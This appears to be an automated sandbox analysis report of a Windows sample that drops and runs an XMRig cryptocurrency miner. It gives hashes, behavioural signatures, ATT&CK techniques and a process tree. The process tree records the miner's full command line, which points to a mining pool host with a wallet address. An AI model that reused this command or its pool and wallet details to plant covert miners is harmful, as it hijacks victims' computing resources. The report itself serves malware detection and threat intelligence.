xmrig | fc58a8040fefd3feabfa8c21f0c7a491896ea2acb8785d2ab2d65a9f5460b506

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 00:20

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General

Target
2026-08-06_b79fa3d6b35d202dda49f54e5d9576ad_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe
Size 2.5MB
Sample260807-amv3hsdb39
SHA256 fc58a8040fefd3feabfa8c21f0c7a491896ea2acb8785d2ab2d65a9f5460b506
MD5 b79fa3d6b35d202dda49f54e5d9576ad
SHA1 7e12df602e639fe08c2ec99402c27957ae487aaa
SHA512 cc30ec898886598eb7b5a612b54a9d65e6b2082dc72f58435e3f974090bd49358db6e7da5b6558675d3760482349aadb3aec1522f97a8120a52ecffeb2e001bf
SSDEEP 49152:kDjlabwz9/8aWgT9XAR9NVhQxNEGAootTySME93GOeyMkiSJJCxuFQ4pIKPZ7:0qwKaZ9XANzQxNEGYTy/CRxMkLC4FQ4x
TLSH
T1D3C51209E7E908F9D077E538D5668902F3BA7C5D0761EB9F23A0166A1F67390CE39312
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000c00000001c5cf-16.dat	family_xmrig
behavioral2/files/0x000c00000001c5cf-16.dat	xmrig

Executes dropped EXE 1 IoCs

pid	Process
568	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2988	cmd.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	568	xmrig.exe
Token: SeLockMemoryPrivilege	568	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
568	xmrig.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4100	2026-08-06_b79fa3d6b35d202dda49f54e5d9576ad_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe
4100	2026-08-06_b79fa3d6b35d202dda49f54e5d9576ad_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 2988	4100	2026-08-06_b79fa3d6b35d202dda49f54e5d9576ad_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe	89
PID 2988 wrote to memory of 568	2988	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\2026-08-06_b79fa3d6b35d202dda49f54e5d9576ad_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-06_b79fa3d6b35d202dda49f54e5d9576ad_cobalt-strike_cryptbot_icedid_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1.cmd" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Users\Admin\AppData\Local\Temp\xmrig.exe
    xmrig --url pool.hashvault.pro:443 --user 44nkuDevyMkUnE7Lc4kJThfZqW3zyQ62nZxB9Ca6ikxTK7SMYdLmb9eSdp3PcYDwziHMN1xyq3Yq7BNcbGXDCBhWMzEVEBX --pass XXXXXXXXXXXXXXXXXX
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

1.cmd

Path C:\Users\Admin\AppData\Local\Temp\1.cmd
Size 198B
SHA256 a0552178735b6d789668081efd7e672ac62da720f3abb9b1088bb2b6e79fbd6d
MD5 9823fc46e055182f05fd7b76d5836628
SHA1 30b08086afccf25fcdbfd344e754e4b35ce1a89d
SHA512 a3820eef07bdf3302a79115b3f6d7c9297080fbca53a079468e78523010884503786e13445826807430ad4038384dfeaa33a0908ac34b48ca656f90fc06e0b4f
TLSH
T1E3D0C035C4BC00A05695CCC6B466B35BBDEAC00A5C0ADDE0E028737404CD032C2B80C1
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig.exe

Path C:\Users\Admin\AppData\Local\Temp\xmrig.exe
Size 6.2MB
SHA256 6fa80698d7268f6e88aa88c06fb27ee99e1bcee747c2e76911e6206a5b1aeeb3
MD5 d55877f44cd3a93f7f31a5437a615f6e
SHA1 687076e47a39abd783ba575f5356baefd18ab970
SHA512 16bfdad2e8fbc0d45b28216e44b38ddea08dfd10f8cc839c92bb35cf1e051611dec9e62ddc1553cb4b0cbc43f5b5bc0f688ce850201a076b314a26e09150ebdb
SSDEEP 98304:GqFp6S568NMyOefiH7cXdHkByf1WCseto4tMQXfXDox+Sxw427x2vHkZvfl3TDQU:GRC/NM0rDoxrix2PkZvdAv5n1gpgQ
TLSH
T1B9569D26B7A401E8C87AC53CC6469A13E7F2B81A5370A7DB17B0567A1F336D45E3EB10
MD5 SHA1 SHA512 SSDEEP TLSH